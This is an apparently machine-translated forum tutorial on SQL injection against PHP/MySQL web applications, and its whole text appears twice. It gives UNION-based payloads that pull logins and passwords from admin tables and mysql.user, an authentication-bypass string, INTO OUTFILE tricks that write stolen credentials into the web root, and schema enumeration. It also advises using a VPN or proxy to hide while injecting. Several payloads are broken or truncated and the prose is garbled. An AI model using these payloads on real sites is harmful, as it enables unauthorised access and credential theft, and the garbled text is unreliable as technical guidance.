Here a tutorial on injection SQL under MySQL and ms SQL server. In this tuto you will see all the power of the injections; my platform of test: LAMP with magic_quote with OFF in a first part and then magic_quote with ONE;-)
An injection SQL is a kind of exploitation of a security breach of a Web application. One will inject a request SQL not envisaged by the system and being able to compromise its safety, this request will make it possible in certain case straightforwardly to post the password and the identifiers associated.
Injection of Radar
Grace has a bad filtering of the variables This message is addressed to injection via variables php in our case but that as well functions all for asp or very others languages dynamic Web, 9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR (114, 111,111,116)--
OUTPUTFILE
As its name indicates it one little to redirect the standard exit with output slips by + the path.
One little to export the list of result of the select one.
Function INTO OUTFILE will write (by defect) in the file lib \ mysql \ nomdelatable the file containing the exit of the select one.
(Attention with replacing the file in the www repertoire well, without what you will not be able to consult it)
One also needs the rights of the files. Example:
$sql= " select login, pass from admin INTO OUTFILE “path/file.txt””;
Let us imagine a login container
Code:
$sql= " select from ma_table where login='$login' and password='$pass'”
What gives like request:
Code:
$sql= " select from ma_table where login=” GOLD “X'=' X” and password=” GOLD “X'=' X””;
There is not the good pass, but we can all the same go to the root of the waiter to seek to it our file.txt file and the pass and logs of connection are obtained. One could also be able to read the contents of the code php in our ../../www/file.txt imagine what one to little make post.
login:
Code:
$sql= " select login, pass from admin where login=” UNION SELECT login, pass from admin/*' and pass='$pass' “;
Grace with the clause LIMIT which does not require aucunes quotes to delimit the limits 21). The exploitation is exactemenet the mème. $la_fin is often calculated according to the number messages to post by page ($la_fin=$le_debut+$messagesparpages). Thus for little that the variable $le_debut is not filtered, one can make post what one wants.
Let us imagine a request so that one can recover the login and the pass.
One did not know the number of fields. Thus we will make the test usual to discover the fields.
Here the request with UNION:
Code:
http://localhost/secu_test/inject.php?id=1+UNION+1,2,3,4,5,6,7,8,9,10--
Figures 1,2,3,4,5,6,7,8,9,10
To have the login:
Code php:
Code:
1+UNION+SELECT+1, @@version, 3,4,5,6,7,8,9,10--
/!\ Never not to make an injection without using a proxy or a vpn!
2 VPN propose by the members:
- ProXPN (free)
- per2me (I believe that it is free)
Code:
http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--
Sorry for my English I am French.
An injection SQL is a kind of exploitation of a security breach of a Web application. One will inject a request SQL not envisaged by the system and being able to compromise its safety, this request will make it possible in certain case straightforwardly to post the password and the identifiers associated.
Injection of Radar
Grace has a bad filtering of the variables This message is addressed to injection via variables php in our case but that as well functions all for asp or very others languages dynamic Web, 9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR (114, 111,111,116)--
OUTPUTFILE
As its name indicates it one little to redirect the standard exit with output slips by + the path.
One little to export the list of result of the select one.
Function INTO OUTFILE will write (by defect) in the file lib \ mysql \ nomdelatable the file containing the exit of the select one.
(Attention with replacing the file in the www repertoire well, without what you will not be able to consult it)
One also needs the rights of the files. Example:
$sql= " select login, pass from admin INTO OUTFILE “path/file.txt””;
Let us imagine a login container
Code:
$sql= " select from ma_table where login='$login' and password='$pass'”
What gives like request:
Code:
$sql= " select from ma_table where login=” GOLD “X'=' X” and password=” GOLD “X'=' X””;
There is not the good pass, but we can all the same go to the root of the waiter to seek to it our file.txt file and the pass and logs of connection are obtained. One could also be able to read the contents of the code php in our ../../www/file.txt imagine what one to little make post.
login:
Code:
$sql= " select login, pass from admin where login=” UNION SELECT login, pass from admin/*' and pass='$pass' “;
Grace with the clause LIMIT which does not require aucunes quotes to delimit the limits 21). The exploitation is exactemenet the mème. $la_fin is often calculated according to the number messages to post by page ($la_fin=$le_debut+$messagesparpages). Thus for little that the variable $le_debut is not filtered, one can make post what one wants.
Let us imagine a request so that one can recover the login and the pass.
One did not know the number of fields. Thus we will make the test usual to discover the fields.
Here the request with UNION:
Code:
http://localhost/secu_test/inject.php?id=1+UNION+1,2,3,4,5,6,7,8,9,10--
Figures 1,2,3,4,5,6,7,8,9,10
To have the login:
Code php:
Code:
1+UNION+SELECT+1, @@version, 3,4,5,6,7,8,9,10--
/!\ Never not to make an injection without using a proxy or a vpn!
2 VPN propose by the members:
- ProXPN (free)
- per2me (I believe that it is free)
Code:
http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--
Sorry for my English I am French.
